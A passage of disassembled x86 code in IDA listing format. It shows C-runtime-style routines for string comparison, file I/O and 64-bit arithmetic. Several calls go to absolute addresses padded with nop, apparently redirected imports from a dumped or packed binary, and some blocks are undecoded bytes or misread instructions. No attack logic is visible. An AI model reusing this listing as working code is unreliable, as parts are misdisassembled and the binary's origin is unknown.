-1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 27A0000h nop lea eax, [ebp+var_20] push eax call near ptr 28A0000h nop mov ax, [ebp+var_16] cmp ax, word_4DB312 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB310 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB30E jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB30A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB308 jnz short loc_41D0E6 mov eax, dword_4DB300 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2890000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB308 movsd movsd movsd movsd pop edi mov dword_4DB300, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB35C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB2A8, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2680C1Eh cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 26807C8h nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB2A8, 0Dh mov dword_4DB2AC, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB364 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C534, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB364, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB374 call esi test eax, eax jnz loc_41D92D nop call near ptr 26807C8h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C328 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB374 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB364, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB374 nop call near ptr 2840000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 0A2h ; --------------------------------------------------------------------------- jmp short loc_41D991 ; --------------------------------------------------------------------------- dw 485Ah dd 0BFBACFD8h, 89021162h, 0A16446F1h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 9E890E8h, 33024941h, 89D48AD2h dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh dd 440E856h db 0 ; --------------------------------------------------------------------------- loc_41D991: ; CODE XREF: ___:0041D934j add [ecx-7Bh], bl sal byte ptr [ebp+8], 6Ah sbb al, 0E8h mov al, 0 ; --------------------------------------------------------------------------- dd 89590000h, 5BE8FC75h, 90000059h, 49409DE8h, 0C94CA302h dd 19E8004Dh, 0A3000058h, 4DB318h, 55C2E8h, 5504E800h dd 0B9E80000h, 89FFFFDDh, 458DD075h, 0E89050A4h, 2492628h dd 5495E8h, 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h dd 50580A6Ah, 569C75FFh, 32B1E856h, 50900226h, 0FE3820E8h dd 0A04589FFh, 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h dd 0D3E85150h, 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB320, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2F0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB320 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC700 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 26609B7h test eax, eax jnz short loc_41DAEB nop call near ptr 26807C8h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, 